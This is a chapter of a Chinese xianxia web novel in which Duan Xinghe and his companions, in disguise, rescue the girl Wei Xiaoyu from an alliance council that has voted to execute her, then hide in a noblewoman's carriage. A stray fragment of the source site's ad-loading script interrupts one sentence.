步云邪道:“小雨天生灵力就强,年纪又小,可能正道上的人觉得她来历古怪吧。” 众人想起了她徒手就把虺神洞里的太阿剑拔出来的事,一时间陷入了沉默。那小丫头天不怕地不怕,跟个小哪吒似的,万一被哪个古板的正派人士遇上了,说不定真以为她是个妖怪。 李玉真探头出来,道:“你们的小妹子有消息了?” 段星河道:“还不确定,先去看看吧。” 他从怀里掏出地图,见从此处往北几十里外便是凤来城,城中有个旋涡状的太极图案,是浩荡盟的标志,他们的总舵就在那里。 段星河之前在大幽跟他们的人见过一面,感觉浩荡盟里的人脾气都挺大的,整天喊着要斩妖除魔,本事又很一般,没事最喜欢扎堆开会,一副老夫子作派。上次段星河抢了灵光仙芝,浩荡盟中不少人还记恨着自己,要是去那边可得多加小心。 段星河收起了信和地图,对信使道:“你们最近怎么样?” 信使道:“大哥在大新的钟灵山上圈了块地,把纵横派的总舵建起来了,接下来他打算在各地的大城镇建立一些情报站,有这种金色井字纹样的便是我们的联络处了。可能门面都不会太大,但懂的人都能找到。大哥说了,纵横派就是二哥的家,咱们所有等级的情报都对你免费开放。” 众人都很惊讶,没想到于百川说要重建纵横派,这么快就建起来了。这人虽然看起来不怎么正经,其实还挺有责任感的,能从一穷二白的状态一点点地把纵横派复兴起来,着实让人佩服。 段星河当初捐了四十两黄金成了他们的元老,本来都抱着打水漂的觉悟了,没想到于百川画的大饼还真的实现了。能随时免费获得大量的情报,着实是一笔很合算的投资。 伏顺道:“有什么印信没有,去了你们不认怎么办?” 那人笑了,道:“刷脸就行了。我们拜入纵横派门下,先给鬼谷子和澜沧先生磕头,然后要给于师兄和段二哥作揖,总舵里就挂着二哥的画像,我们天天见都认得他了。” 段星河挠了挠头,有点不好意思,道:“画的丑么?” 那人道:“挺帅的,就是看着比你本人成熟,三十多岁的模样。年纪太轻镇不住新来的人,大师兄故意让人画沧桑一点的。” 段星河点了点头,他们是在低谷的时候认识的,堪称患难之交。如今于百川发达了,自己在这乱世中也多了一股互相支撑的力量。 段星河道:“多谢你了。” 那人道:“自家人,别客气,有空来大新总舵坐坐。” 他说着翻身上马,道:“我还有别的情报要送,先走一步。” 段星河挥了挥手,那人便打着马,踏着雪走远了。步云邪望着他的背影道:“也是够辛苦的。” 段星河道:“有信念支撑着,再累也不觉得苦吧。” 那些人大多数经历过战乱,失去了家和重要的人,独自漂泊在世上,最大的愿望就是消除战争。于百川收留了他们,带着他们实现共同的心愿,他们自然愿意把所有的热情投身在其中。 步云邪想起于百川带领一群小弟站在一起,大声喊出自己理想的情形,从前他还觉得那些人过于热血了,如今却又体会到了几分悲怆。 他生出了几分敬意,道:“天下太平是么,挺好的。” 他们本来要往西走,到了前头路口改往北行。凤来城就在此地往北不远,他们驾车走了两天便到了城前。 凤来城高大坚固,远远望去,城中的建筑十分华美。据说此城建成之初,凤神座前的青鸾飞来,在上空盘旋啼鸣,被认为是祥瑞之兆。因此信奉凤神的各大宗门人士便在这里建立了浩荡盟,他们以捍卫世间浩然正气为宗旨,一开始也确实斩妖除魔做了不少好事。但近些年来也混入了不少思想守旧之辈,凡事只谋求个人利益,倾轧争权,令整个阵营的声誉有所下降。 要进城了,段星河让大车停在树林边,道:“兄弟们,开个小会。” 一群人聚在光秃秃的树林边,段星河道:“咱们之前抢了灵光仙芝,那帮老头儿小心眼儿得很,肯定还记得咱们。大家进城之前先乔装打扮一下,混进去瞧瞧。如果不是小雨,咱们就撤了。” 赵大海道:“如果是小雨呢?” 段星河道:“偷也好、抢也好,想个法子把她带出来。” 除此之外,他们也没有别的办法了。大幽钦天监算是信奉虺神的,不受正道宗门的待见。步云邪道:“咱们怎么往正道的身份上靠一靠?” 李玉真从小跟着父亲和师父见过不少老宗师,和正道上的关系都不错,道:“我是太清宫的,我能带两个人。” 宋胡缨也开口道:“我用我爹的名义,大新将军府应该也能带几个人。” 段星河道:“行,李兄带着我和阿云,宋姑娘带着结香、伏顺和大海。去换行头吧。” 李玉真也没什么好改装的,直接换上了太清宫的弟子服,头上戴着一根白玉簪,两绺头发从鬓边垂下来,端的是个清秀的小道长。段星河上次给对方留下的印象最深,不好露真容,便在脸上涂了点黄粉,把头发染白了一些,又在嘴唇上贴了一撮小胡子。他伪装好了,从林子里缓步走出来,轻轻一摆拂尘道:“几位小道友,贫道有礼了。” 他打扮成这样,就像个四十来岁的道士,但仔细看来,眼睛还是年轻明亮,皮肤上也少了些皱纹。步云邪笑了,道:“段师兄童颜鹤发,看来修为高的很了。” 段星河摸了摸唇上的髭须,道:“好说、好说。” 步云邪换了身衣裳,梳起道髻,扮做李玉真的同门就行了。伏顺和赵大海打扮成宋胡缨的随从,结香扮做大小姐的侍女。宋胡缨在外头待久了,一直做简朴利落的打扮,这次要以将军府大小姐的身份示人,还是要打扮的漂亮一些。 她换了一身大红色的衣裙,裙子上绣着金色的芙蓉花。外头披着一件玄色的狐裘,唇红齿白,乌黑的头发如鸦翼一般,头上戴着一根金玫瑰的簪子,有种艳丽而又高贵的气质。她从树林里一走出来,众人顿时都被她的美丽慑住了。李玉真感慨道:“宋姑娘,你可真好看。” 伏顺拍马屁道:“我义父的武功天下第二,美貌天下第一。这威严的气质,加上漂亮的脸蛋儿,谁见了不迷糊啊。” 赵大海道:“那感情好,趁着他们犯迷糊,咱们就能混进去了。” 结香帮她梳的头,心里也很骄傲。小对眼还没见它妈这么好看过,蹲在她脚边喵喵直叫,连一直以来的老鸦嗓子都夹起来了。 宋胡缨笑了,弯腰把她儿子抱了起来,道:“怎么回事,吃错药了,还会这么叫了。” 她抱着猫,显得更加雍容华贵了。李玉真觉得她身上缺了点首饰,想起之前自己买的金手镯。他一直不敢送给她,这倒是个难得的机会。 他去行囊里找出了首饰盒,趁着众人各自忙活着,过来道:“宋姑娘,我之前在巴蜀那边见这镯子挺精致的,买了也没什么用,你要是不嫌弃就戴着吧。” 那镯子上用金丝堆成花朵形状,很是精美,分量也不轻。宋胡缨一时间没接,道:“给我这个干什么?” 李玉真诚恳道:“我没有别的意思,就是觉得你像观里的仙女,既美丽又威严。我想给你金装绘彩,只是出于虔诚之心,不敢有半点冒犯。” 他对喜欢的人一片赤诚,都有点痴了。宋胡缨的目光微微一动,接过去道:“多谢。” 金镯子戴在手上,把她的手衬得越发白皙柔美。李玉真怕唐突了她,也不敢多看。宋胡缨动了动手腕,镯子不住摇晃,引得小对眼伸爪子去够。她的眼神也温柔下来,嘴角泛起了一丝笑意。 一行人进了城,来到了一间客栈落脚。城里有不少修真者,应该都是为了浩荡盟抓到小妖女的事来的。众人放下了行李,在大堂吃饭。段星河等人和宋胡缨她们假装不认识,分别坐在大厅两边。 旁边桌子上有两个修士聊得热火朝天,一人道:“我还以为是什么了不得的大妖呢,大老远赶过来瞧热闹,结果人家说是逮了个小孩儿。” 另一人道:“浩荡门这些人都有点魔怔了,看到什么都像万象门的人。万一这回误会了,让人说一群正道人士欺负小孩儿,咱们面子往哪儿搁?” 那人道:“闹这么大动静,她是也得是,不是也得是喽。” 另一人道:“不至于,刘盟主还是明辨是非的人,如果真不是可疑的人物,应该会把她放了。” 段星河出声道:“敢问道友,那小孩儿犯了什么事,为什么被抓到这里来?” 那两个修士看了他一眼,以为他也是来瞧热闹的,道:“你不知道啊,就是前阵子有个散修叫一心散人,他从蓬莱求了些仙种,回到老家东陵山上圈了块地种灵植,结果发现灵植刚长出果子来,就不知道被什么东西偷吃了。他在山上埋伏了好几天,抓到了一个小姑娘,也不知道她什么来历,就跟从石头缝里蹦出来的一样。一心散人心疼那些灵植,打了那小姑娘几下,结果那小丫头凶蛮得很,放出了一身妖力,把山上的灵植破坏了个七七八八,逃之夭夭了。” 段星河啊了一声,道:“然后呢?” 那人道:“一心散人不甘心,就从朋友那儿借了个九龙伏魔罩,找到了那个小丫头,把她扣住了。他也不知道该怎么处置,怀疑她是万象门的妖人,就送到凤来城这边,让浩荡盟来裁决。” 段星河感觉这个行事作风确实有点像小雨,暗自担忧起来。他道:“那些人打算怎么办?” 那人道:“不知道啊,一般抓到这种妖怪验明了身份都要当场处决的。” 李玉真皱起了眉头,道:“一个野小孩儿而已,又不懂事,不至于就杀了吧?” 那人道:“谁说不是呢,也是怪可怜的……现在浩荡盟的人确实有点疯魔了,为了一点小事兴师动众的。” 段星河等人交换了一个眼神,庆幸自己及时赶到了这里。明天浩荡盟的人就要审理此事了,如果那小孩儿真是小雨,无论如何也得把她救出来。 次日下午,众人来到了城东浩荡盟。此处的建筑高大雄伟,院落宽阔整齐,随处可见旋涡状的徽记。中庭里有五头龙的石雕对着水池吐出泉水,显得气势磅礴。此处的弟子恭谦有礼,来往的朋友都是金丹以上的修道者,其中不乏更高阶的大宗师,一派凛然正气。 李玉真出示了太清宫的令牌,带着另外两人走了进去。一群人聚在后头的议事堂中,屋子虽然大,挤了三四十个人也满满当当的。 段星河看了一眼周围的人,各大宗门的都有,百草门和凌烟阁的人也来凑热闹了,人群里还有几个万通商会的人。段星河不想被他们认出来,在人群后头站着。 一人穿着一身白衣裳,胳膊上戴着黑纱,却是亲人刚被万象门的人害死了。那人悲痛欲绝,恨声道:“听说抓到的小妖是万象门的,要是验明了正身,一定要杀了她!” 另一人道:“那毕竟是个小孩儿,万一错杀了怎么办?” 那人道:“万象门的人作恶多端,宁可错杀不能放过!” 人群中有不少人都被万象门害过,一得知消息便争先赶过来,恨不能把那妖物生啖其肉。有人道:“万象门的人擅长变化骗人,千万别看她是个小孩儿就可怜她!” 其他人纷纷道:“对、对,该杀就杀,不能有妇人之仁!今日必须杀一儆百,让那些邪魔外道知道咱们正道宗门的厉害!” 屋里聊得热火朝天,盟主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刘正锋带着几个弟子进来了。他穿着一身黑色锦袍,身材高大结实,双目神光内敛,举手投足间透出一派威严。堂里顿时静了下来,刘正锋环视了一眼众人,道:“各位就坐吧。” 众人纷纷落了座,跟来的弟子们站在一旁。刘正锋在上首交椅上坐下,道:“感谢各位朋友前来。今日咱们齐聚于此,是为了裁决一心散人灵植被毁之事。具体的过程,先请一心散人讲述一遍吧。” 一心散人从人群中走了出来,他穿着一身土黄色的道袍,大约五十来岁年纪,长得干瘦如柴,细眉小眼的,留着一把山羊胡子,脸上还有些没褪干净的淤青。 他开口道:“在下一心散人,家住夷州东陵山,我在山上种了一些灵植,种子都是从蓬莱求到的,极其珍贵。结果半年前,我发现山上的黄精、人参少了一些,好不容易种出来的菩提果也少了。我怀疑有小偷,半夜去林子里守着,就见一个小孩儿正在偷吃我的药草和果子。” 他想起当时的情形还十分恼怒,道:“我抓住了她,想让她家大人来给个说法,她说她没有长辈,没法赔偿我。我教训了她几句,她便大发脾气,毁坏了我不少灵植逃跑了。那小丫头一身邪气,像是万象门的人。我怕她再去祸害其他同道,便从朋友那里借来了九龙伏魔罩,把那个小妖女抓住了,请盟主为我主持公道!” 刘正锋道:“那小孩儿呢?” 一心散人道:“就在外面,各位请跟我来。” 他说着,扬声道:“带过来——” 他庄上的几个家丁便推了个铁囚车过来,里头还放了一口五尺高的青铜大钟,上头雕着九个龙头,盘绕在钟上,显得十分威武。众人从堂里走了出来,站在院子里,有人低声道:“这就是那九龙伏魔罩,看着挺厉害的啊?” 又有人道:“杀鸡用牛刀,不过是一个小妖怪,用得着拿这么厉害的法宝来镇压么?” 又有人低声道:“他不是说了么,那小孩儿凶得很,不这样根本关不住她。” 刘正锋道:“先把法宝撤了吧。” 一心散人念动咒语,那伏魔罩便腾空而起,骤然缩得只有一个酒杯大小,穿过铁栏杆,嗖的一下子飞到了他的手里。其他人啧啧称奇,很是羡慕。 那囚车中,一个十一二岁的小女孩儿蜷缩成一团,正在睡觉。她在钟里待得久了,已经习惯了黑暗,猛地被阳光照到,眼睛有些受不了。 她慢慢坐起来,抬手挡着眼,喃喃道:“这是什么地方?” 她头发乱糟糟的,穿着一身破旧的红衣裳和一双露着脚趾头的布鞋,脖子上还挂着她娘给她的金锁片。她小脸脏兮兮的,一双黝黑的眼睛却很明亮,仿佛蕴藏着翻江倒海的精力,看起来还挺可爱的,跟那人说的小魔头相差甚远。 段星河站在人群中,见那人真的是魏小雨,眼睛都睁大了一圈,下意识往前走了一步。步云邪也十分激动,低声道:“星哥,真是她!” 找了这么久,终于找到她了。她跟从前没有太大变化,没受伤,还是那么生龙活虎的。两人互相看了一眼,控制着自己的情绪,脸上却难掩喜色。当着这么多人,他们总不能直接过去抢人,只能先看看情况再说。 众人细细分辨,感觉那小女孩儿的身上确实带着一股若隐若现的力量。她双手抓着铁栏杆,看见外头有这么多人,有些害怕,大声道:“你们是什么人,放我出去!” 她像一头小野兽一样,用力拍打铁栏杆。人群中有心软的,低声道:“这不还是个孩子吗,这样太过分了吧?” 一心散人大声道:“小丫头,你不是说要跟我评评理么。这里是浩荡盟,就是全天下最讲道理的地方,这些人都是正道宗门的朋友,今日就请他们来主持公道。” 刘正锋道:“小姑娘,你叫什么名字?” 小女孩儿道:“我叫魏小雨,你是谁?” 刘正锋道:“我姓刘,是浩荡盟的盟主,你跟万象门有什么关系?” 魏小雨一脸茫然,道:“什么万象门,我没听过。我家住巴蜀逍遥观。” 刘正锋身为正道宗门的盟主,对天下的各大宗门都有所耳闻,从来没听说过这个名号。他道:“你这小孩儿可别撒谎,巴蜀哪有什么逍遥观?” 魏小雨急了,道:“我骗你干什么,我被一阵大风吹到这里,和大师兄他们走丢了。我想回巴蜀去,就一路往西边走。也不知道走了多久,路过一个山头,见山上有些野果子,就摘下来吃了。我站在山头往远处望,这里跟我家那边一点也不一样,再往西走可能也没有结果。我想反正找不到大师兄,要不然就在这里修炼一段时间,等自己的本事变大了,再去找他们。” 听她这么说,段星河等人都很自责。她孤零零一个人过了这么久,没饭吃、也没地方住,能活下来就很不容易了。她决定在东陵山停下来的那一刻,心里应该很难过吧。 刘正锋道:“然后呢?” 魏小雨愤愤道:“我在山上住了一段时间,本来过得好好的,后来这个山羊胡子就来抓我。他霸道得很,不让我吃果子,还骂我是贼,我们就打起来了。是他先动的手,我忍了他好几下才还手的。” 她十分委屈,还很生气。有人低声道:“唉,挺可怜的。” 李玉真道:“就是,这小孩儿这么小,他也下得去手。” 一心散人十分生气,道:“你偷吃的是我家的东西,难道不是贼么?” 魏小雨道:“胡说,那都是山上自己长的!” 一心散人一把年纪了,还跟小孩儿吵的有来有回的,道:“那些灵植都是我种的!” 魏小雨道:“我不信,我们青岩山上的东西都是野生的,大家随便吃。狍子能吃,兔子也能吃,没听说过野猪吃就不让别人吃的!” 大家都笑了,觉得这小女孩伶牙俐齿的,被关着不但不害怕,还暗搓搓地骂他是猪。 一心散人气得不行,回头道:“盟主你看看她!” 刘正锋开口道:“小朋友,那个山头确实是他包的,山上的东西也是他种的。那些草药都很珍贵,你吃了他就白忙活了。你爹娘教过你,损坏了别人的东西得赔钱吧?” 魏小雨看他一副正派的模样,说的话是有些份量。她道:“是吗……可是我没钱,我跟他道歉算了,对不起。” 她这么理直气壮的,让人拿她没办法。一心散人道:“我花了一万两买的种子,你都给我糟蹋了,一句对不起就完了?” 魏小雨搔了搔头,道:“要不然你等我找到我爹,让他还你们钱好了。我爹叫魏清风,是逍遥观的掌教。” 一心道人道:“他在什么地方?” 魏小雨显得有点为难,道:“他经常四海云游,我也不知道他去了什么地方,可能一年半载就会回家,也可能三年五年,说不好。” 一心道人被她气笑了,道:“你这小丫头一身邪气,满口谎言,当着这么多人还敢耍弄老夫,故意拖延时间!” 一个大和尚出声道:“阿弥陀佛,这位施主,我看这小孩儿并非有意与你作对。施主还是慈悲为怀,饶了她吧。” 一心道人对他怒目而视,道:“你这臭和尚站着说话不腰疼,我为那些灵植耗费了多少心血,放了她你赔我啊?” 大和尚穷得什么也没有,如何赔的起。他面露为难之色,沉默下来。 这些人再吵下去也没有结果,刘正锋道:“一心道长,她承认吃了你的灵植,但又赔不起,你想怎么解决?” 一心道人对她恨得咬牙切齿,道:“既然如此,我只能把她当成药引子使了。还请盟主验明她的妖身,当众处决了她,我好把她的尸体带走。” 一人道:“什么意思,你要拿人炼药?” 一心道人面目狰狞,道:“是又怎么样,她祸害了我的灵植,我就要她偿命!” 70.司空县主 二 众人觉得太血腥了,纷纷皱起了眉头。有人道:“万万不可,咱们都是修正道的人,这么做岂不是跟邪修没有区别了?” 一心道人道:“她分明就是个小妖怪,杀了她也是为民除害。” 魏小雨活的好好的,这些人把她抓了来,自顾自地就要决定她的生死。她生起气来,身上的灵力渐渐生了出来,想要冲破笼子跟他们打一架。 刘正锋本来还在犹豫,忽然感觉她身上的灵力暴涨,隐隐能看到一股黑气萦绕着她,难怪一心散人张口闭口都喊她小妖怪。他严肃起来道:“你身上的灵力是怎么回事?” 魏小雨骄傲道:“我从出生就这样,爹说我天赋绝佳,生来就适合修道。” 她身上的灵力不但强大,而且透着一股亦正亦邪的气息。这小丫头的性格刁蛮,无人教化,万一放任她长大,说不定真的会危害一方。 刘正锋道:“大家心里应该有所决断了,咱们投票表决吧。” 包括浩荡盟,在场一共十七个宗门,每个宗门投一票。片刻结果出来了,同意杀的八票,要放的四票,其他都是弃权。刘正锋显得有点惋惜,道:“既然如此,那就杀了吧,以绝后患。” 人群中传来一阵叹息,觉得杀个小孩儿太过残忍。有人不忍心看下去,拱手道:“我们还有事,告辞了。” 方才那说话的大和尚也爱莫能助,只好和师兄弟离开了。众人呼啦啦走了一批,魏小雨扒着笼子,知道那些人一走就没人救自己了。她十分绝望,转头望向刘正锋,道:“盟主叔叔,你投了什么?” 刘正锋一时间没说话,表情却异常冷酷。魏小雨道:“我看你没有那么坏,是不是投了弃权?” 刘正锋平静道:“我投了杀。” 魏小雨撅起了嘴,眼里涌起了泪花,她本来觉得这人还算讲道理,没想到他跟其他人一样坏。她吸了一下鼻子,道:“你们欺负人,我不是妖怪,就是吃了几个果子而已。我想我娘了……我要找我娘。” 李玉真摸了一下腰包,想帮她把钱赔上,但自己也囊中羞涩。这一队人加在一起也凑不齐一万两,可再等下去,这些人就要动手了。段星河按捺不住,开口道:“盟主,你再考虑一下。这分明就是个小孩儿,怎么会是妖怪?” 刘正锋看了他一眼,觉得这人有点熟悉,但又说不上来在哪里见过。他道:“你是?” 段星河寻思着要说是太清宫的,不免给李玉真添麻烦。他身上还有蜀山的腰牌,便道:“在下是蜀山弟子,道号凌虚子,听说这里有不少正道上的朋友,便来看一看。” 刘正锋道:“这小姑娘身上的邪气太重,说话颠三倒四,肆意妄为,行事作风极像万象门的人。他们害了咱们正道宗门许多朋友,不少悲痛教训在前,不能心怀妇人之仁,宁可错杀,也不能放过!” 刘正锋的态度坚决,好像生来就长着一副铁石心肠。段星河想起了不久前,刘盟主为了自己的清誉,便把孙清韵逐出了师门。那是他从小养大的徒弟,跟女儿也差不多了,他都狠得下心这么做,更不用说是陌生人家的孩子了。 段星河横下了一条心,摸向了袖子里藏着的暗器,打算不行就只能硬抢了。 一心道人十分激动,亲自过去打开了笼子,狞笑道:“小妖怪,你的死期到了!” 他伸手去抓她,魏小雨一口咬在了那人的手上,把他咬的满手都是鲜血。 “啊啊啊啊——你这小妖怪还咬人!” 一心道人甩着手惨叫起来,其他人也吓了一跳,没想到这熊孩子都死到临头了,凶性还这么大。 她从铁笼子里冲了出来,拔腿就跑。刘正锋的脸色顿时一沉,老鹰抓小鸡似的纵身掠了上去。魏小雨感觉身后风声忽然而至,转头一拳打了过去,力量居然不小。刘正锋一把攥住了她的拳头,把她胳膊向身后扭去。魏小雨被扭得生疼,大声叫道:“放手,疼疼疼,你干什么!” 段星河纵身一跃,一掌朝刘正锋切了过去,一边道:“手下留情!” 刘正锋闪身避开了,手上的力气一松,魏小雨便挣扎着抽出了胳膊,拔腿向前跑去。刘正锋道:“你到底是谁,帮她做什么?” 段星河道:“路见不平,拔刀相助,你们欺负小孩儿,我看不过去。” 一心散人怒道:“呸,我看你也是个魔教妖人,刘盟主,快把他也一起拿下!” 刘正锋已经修到了化神期,灵力十分强大。他一掌打过来,段星河来不及闪躲,抬手硬接了他一掌,顿时被强大的灵力震得向后跌了出去。他摔在地上,浑身都是尘土,疼的一时间爬不起来。魏小雨在人群里左冲右突,想要逃跑,刘正锋已经喊道:“拦住她!” 一群浩荡盟的弟子冲上去,手持刀剑把她围在了中间。魏小雨看着身边的一圈刀剑,一动也不敢动,心里却气得很。她道:“你们不讲道理,还说自己是正道上的人,一个个都坏透了!” 刘正锋大步走到段星河面前,怎么看他怎么眼熟,伸手擦了擦他脸上的黄粉,发现他的胡子翘起了一角。他用力一拽,撕掉了一撮贴上去的假胡子。段星河被他扯得生疼,歪着脸道:“哎哎哎轻点、轻点!” 刘正锋认出来了,这是之前在大幽跟自己抢灵光仙芝的那个臭小子,道:“是你?” 既然被认出来了,段星河也不装了,淡定道:“是我,刘盟主,有阵子没见了,你好啊。” 魏小雨望着这边,忽然睁大了眼,激动道:“大师兄,大师兄你来救我了!我好想你啊,呜呜呜呜!” 她一边喊,一边忍不住哭了。段星河现在跟她都出不去了,想救她也是有心无力。他看了一眼人群中的其他人,示意他们想想办法。 宋胡缨往前走了一步,想帮他们说话。刘正锋道:“你跟这小丫头什么关系?” 两把钢刀架在段星河的脖子上,他没法站起来,屈起一膝坐在地上,一副无所谓的模样道:“什么关系……她叫我大师兄你没听见么?” 刘正锋没想到他受制于人还敢这么跟自己说话,皱起了眉头。旁边有一名弟子道:“不是一家人不进一家门,你抢灵光仙芝,你师妹就偷人家的灵植吃,你们抢东西是一脉相承的么?” 段星河被他骂的腾地一股火起来了,这帮人有种莫名的优越感,好像天底下所有的好东西都该是他们的似的。他大声道:“灵光仙芝天生地长,秉着世间灵力而生,谁有本事谁捷足先登,怎么你们拿不到就说是被别人抢了?” 他说的没毛病,浩荡盟的众人也答不上话来。一人不耐烦道:“跟这种小贼啰嗦什么,正好他们来自投罗网,一起杀了完事。” 宋胡缨出声道:“不能杀!” 有人认得她是大新的贵女,劝道:“宋大小姐,这是正道宗门的事,你们将军府还是别插手的好。” 宋胡缨道:“他们是我的朋友,不是坏人!” 众人十分意外,没想到将军府的人会跟这样的人结交。李玉真的头嗡地一响,她这么一说,别人非但不会听她的,连将军府的立场都会被质疑。一个浩荡盟的弟子道:“这些人最擅长骗人,你该不会是被他们骗了吧。” 另一个弟子也道:“这小妖女是人赃俱获,你可别为了包庇她,连累了自己家族的声誉。” 宋胡缨想说什么,奈何不擅长与人争论。那些人七嘴八舌的,吵的她心烦。 魏小雨那么小,可怜兮兮的,纵使真的犯了错也不至于就得死。宋胡缨握紧了斩马/刀,心想大不了跟他们打一架,今天自己既然来了,这人无论如何也要救走。 她正寻思着,人群中忽然有一名中年道士走了过来,开口道:“段兄弟,是你吗?” 那人五十来岁年纪,穿着浩荡盟的道袍,望着他的神色和气,又有种久别重逢的激动。段星河看了他片刻,忽然想起来了。当初自己从采石场离开时,顺便放走了一个跟他们一起坐牢的道士,叫刘通玄。他感激段星河的救命之情,说自己要去夷州浩荡盟,以后有机会欢迎他来做客。过了这么久,段星河几乎要把这件事忘了,没想到在这里遇到了老朋友。 他十分激动,道:“刘叔,好久不见,你跟他们认识么?” 刘正锋也看着刘道长,道:“师叔,怎么回事?” 刘通玄方才看了半晌,本来觉得这小姑娘可怜,但又觉得跟自己没有太大关系,便一直没出声。忽然见段星河也乔装改扮混进来救人,便不能作壁上观了。 他叹了口气,道:“之前我去大幽访友,被人抓到了采石场,是这位小兄弟把我放出来的。他秉性善良正派,跟万象门没有关系,这位小朋友既然是他的小妹子,定然也不是什么妖魔。我想大家可能是有什么误会,咱们心平气和地坐下来,慢慢谈一谈?” 刘正锋沉默着,旁边一人道:“这小丫头这么凶蛮,不能轻易放了。这些坏人都狡诈多端,师叔你可别被他们骗了。” 一心散人也道:“不能放,坚决不能放,要不然我的灵植怎么办!” 刘正锋刚才接了那小丫头一招,感觉她身上的灵力十分强大,绝对不是一般人。她现在还没有觉醒,就有这么大的力量,若是完全开发出了自身的力量,加上她凶蛮的性子,肆意妄为,必然会造成一场灾难。 刘正锋沉下了脸,道:“这小姑娘身上确实有股邪气,不是常人,不可轻纵。” 刘通玄十分失望,但盟主决定了的事,他也改变不了。段星河知道他们是铁了心要杀小雨了,没有别的退路,只能使出杀手锏了。李玉真他们一直看着这边,见段星河的神色有变,知道他要动手了。宋胡缨低声道:“做好准备。” 伏顺和赵大海的神色严肃起来,这时候就见段星河袖子一扬,一颗烟雾/弹砰地一声炸开来,白雾弥漫了整个院子。 众人没有防备,顿时被呛得鼻涕眼泪横流,什么也看不见了。段星河一把掀开身边的刀剑,趁乱冲向魏小雨那边,把她往肩上一扛就朝外跑。魏小雨吓了一跳,两条腿一个劲儿乱踢,叫道:“干什么,放开我!” 段星河沉声道:“是我。” 魏小雨顿时激动道:“大师兄!” 段星河道:“嗯,抱紧我,带你出去。” 他背着魏小雨翻过院墙,几个起落冲到了大街上。此时已经是黄昏了,街上的行人来来往往,见一个少年背着个小女孩儿大步向前跑去,觉得有些奇怪。 院子里的人挤做一团,一片混乱。赵大海和伏顺故意在人群中捣乱,推这个人一下,踩那个人一脚,让他们几个人撞在一起。有人被绊倒了,大声喊道:“别踩,哎呦,干什么!” 宋胡缨趁机放出小对眼,在人群中挠了好几个纵横派的弟子。那些人惨叫道:“啊,有妖怪!” 小对眼嗷地一声叫,跳到屋檐上,轻轻一摆尾巴。刘正锋离烟雾弹最近,被呛得不轻,去水缸里洗了把脸感觉才好了一些。烟雾渐渐散去了,一名弟子快步过来道:“师父,怎么办?” 敢在浩荡盟撒野,那些人也是够嚣张的了。刘正锋十分恼怒,道:“赶紧派人去追,必须把人抓回来!” 段星河背着魏小雨穿过几条街,听着后头脚步声橐橐作响,道:“有人来了吗?” 魏小雨扭头一看,隔着老远也看不清,道:“好像有好多人追过来了,快跑。” 凤来城太大了,段星河见到街巷就拐,也不知道跑到了什么地方。远远听见身后还有追杀声,大约离这边一条街的距离。段星河背着魏小雨,有点跑不动了,他低着头喘了一阵子,就听一声惊呼。魏小雨指着前头道:“那边也来人了!” 段星河往前一望,就见前头街上一队人挎着刀剑赶了过来。两队人前后包抄,非要把他堵在这里不可。段星河无路可躲,见路边停着一辆华丽的马车。他来不及多想,一头扎了进去。 车里弥漫着龙涎香和水仙花的香气,沁人心脾。段星河钻进了车里,就见一个身穿白色衣裙的少女睁大了双眼,惊讶地看着他。段星河也吓了一跳,没想到主人就在车里。 追兵的脚步声越来越近了,要出去已经来不及了。段星河生怕她叫嚷起来,一把捂住了她的嘴。那少女浑身僵硬,坐着一动也不敢动。段星河低声道:“得罪了,别出声。” 魏小雨十分紧张,小声道:“小姐姐,外头那些坏人抓我们,大师兄是来救我的,你千万别嚷。” 少女看着他们,缓缓点了点头,神色没有一开始那么惊慌了。外头追兵的声音已经到了跟前,一人道:“人呢?” 另一人道:“我看见好像在这附近的啊,怎么一眨眼就没了。” 一人道:“会不会在这车上?” 段星河和魏小雨都紧张起来,他把手放在了少女的喉咙上,低声道:“赶他们走。” 那少女眨了眨眼,似乎有点不满,却还是深吸了一口气,道:“外头的是什么人?” 她的声音清润,透着一股高华之气。带头的人道:“在下浩荡盟门人,有两个小贼逃过来了,我们奉盟主之命追捕。” 少女道:“我一介女子,不方便跟你们见面。你们要搜就赶紧去吧,别来打扰本县主的清净。” 外头的人听见她自称县主,有些惊讶。一人有些见识,指着车上的徽记道:“师兄,这是紫衣侯府的标志,听说前阵子大新的清河县主出来游历,该不会就是她本人吧。” 少女的身影投在车窗上,淡淡道:“算你们有见识,司空悬便是我哥哥。” 那些人听说车上的人是豪门贵女,不敢冒犯。带头的人往后退了一步,行礼道:“原来是清河县主,多有得罪,请县主莫怪。” 少女道:“没事,你们快去忙吧。” 那两队人汇合成一队,商量了几句,又上别的地方找人去了。 魏小雨把窗户推开一条缝,看着那帮人走远了,这才松了口气。段星河松开了手,他没想到自己慌不择路,闯到了县主的车里,实在太唐突了。她好像并不怎么害怕,还故意帮他们遮掩,要不然她就算受制于自己,也不至于这么配合。 她的皮肤雪白,容貌美丽,有种珠玉琳琅的气质。段星河还从来没见过这么好看的女孩子,一时间有些怔住了,却见她轻轻一笑,道:“你这登徒子,我救了你,你不谢谢我么?” 段星河反应过来,连忙行礼道:“多谢姑娘,多有冒犯十分抱歉,我这就走。” 少女道:“哎,等等!他们还没走远呢,你这就出去,不是被他们逮个正着吗?” 段星河停了下来,也不知道该如何是好。魏小雨央求道:“小姐姐,你好人做到底,能送我们离开这里吗?” 少女道:“你叫什么名字?” 魏小雨跟她说了,少女看着段星河的侧脸道:“那他呢?” 小师妹道:“他是我大师兄,叫段星河。我们在巴蜀逍遥观修道,不是坏人。” 少女沉吟道:“这名字倒是挺好听的。我叫司空玉,今天遇上算跟你们有缘,就送你们一程吧。” 魏小雨高兴起来,道:“小姐姐,你心地真好,谢谢你!” 段星河也松了一口气,道:“多谢司空姑娘。” 众人说着话,就听车外传来了脚步声,司空玉比了个嘘的手势,段星河和魏小雨便安静下来。一个年轻男子在外头道:“大小姐,桃酥买回来了,还有刚出炉的枣泥酥和绿豆糕。店里现烤的,我多等了一阵子。” 司空玉不想被他发现,道:“我又不想吃了,你先放着吧。” 那人觉得有点奇怪,但也没说什么。司空玉道:“我想去城郊散散步,你带我去吧。” 那人十分听话,一跃上了马,驾着车向城外驶去。车里的空间不大,段星河一个大男人,不便跟女孩子面对着面,便背过身去靠边坐着。魏小雨坐在司空玉旁边,闻见了点心的香味,舔了舔嘴唇。她上顿吃饭还是在囚车里,那个山羊胡子扔给了她一个干巴窝头,一点也不好吃。 司空玉看见了,把车窗推开一条缝,道:“六幺,点心给我。” 